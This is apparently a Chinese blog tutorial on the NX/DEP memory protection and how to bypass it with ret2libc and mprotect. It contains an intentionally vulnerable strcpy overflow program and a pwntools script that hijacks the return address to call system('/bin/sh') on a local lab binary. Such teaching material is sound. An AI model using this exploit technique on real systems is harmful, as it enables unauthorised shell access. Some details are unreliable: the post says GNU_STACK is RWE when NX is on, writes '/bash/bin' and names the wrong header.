No-execute保护机制

No-execute保护机制

No-execute即NX保护 (不可执行)的意思,NX(window上称为DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令,从而在一定程度上实现程序保护。在windows上是DEP

在gcc编译器默认开启了NX选项

关闭NX选项的话,添加-z execstack参数

开启NX保护后,GNU_STACK的权限为RWE

绕过方法

  • ret2libc攻击
  • 修改分配页面的保护级别

ret2libc攻击

ret2libc全称是return to libc,即返回到libc库。由于无法直接向栈或堆中注入shellcode开始执行,所以需要使程序返回到libc库中去执行libc的系统命令库函数。

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}

int main()
{
puts("So please give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

例如我们需要利用libc里的system函数,需要获取4个信息:

  • 程序对应libc版本
  • libc在程序中基址
  • system在libc中的地址
  • /bash/bin在libc中的地址

得到程序对应的libc版本和基址

获取system在libc中的地址

获取/bin/sh的地址

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./task2')
io.recvuntil("shellcode:")
libc_base_addr=0xf7dc9000 #libc在程序当中的基址
payload="a"*76 #实验1得知到溢出的偏移为76
payload+=p32(libc_base_addr+0x00045830) #system在程序当中的地址(这里用system的地址覆盖了程序原来的返回地址)
payload+=p32(0xdeadbeef) #填充(这里是system的返回地址,)
payload+=p32(libc_base_addr+0x00192352) #/bash/bin在程序当中的地址 (当做这里是传入system的参数:/bash/bin)
io.send(payload)
io.interactive()

执行成功

解题思路

  • 1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。

    2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。

    3.根据libc库的版本可以很容易的确定puts函数的偏移地址。

    4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。

    5.根据libc函数的版本,很容易确定system函数和”/bin/sh”字符串在libc库中的偏移地址。

    6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和”/bin/sh”字符串的真实地址。

    7.再次构造合理的payload2,劫持程序的执行流程,劫持到system(“/bin/sh”)的真实地址,从而拿到shell

修改分配页面的保护级别

开了NX保护的情况下就只有程序的 .text 段被标记为可执行,而其余的数据段(.data、.bss等)以及栈、堆均为不可执行。libc函数库中有两个函数可以修改分配页面的属性即可以让一部分不可执行的空间修改为可执行,这两个函数分别是 mprotectmmap

mprotect使用:

1
2
3
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的属性

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  • PROT_READ (1):表示内存段内的内容可读;
  • PROT_WRITE(2):表示内存段内的内容可写;
  • PROT_EXEC (4):表示内存段中的内容可执行;
  • PROT_NONE(0):表示内存段中的内容根本没法访问。

一般使用mprotect(bss_addr.0x1000.7)这样可以让bss_addr开始的0x1000大小的区域权限为RWE(4+2+1=7),这样就可以直接注入shellcode;还有就是可以利用mprotect将.got.plt修改为可读可写可执行,这样就可以更改got表,劫持got表函数

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信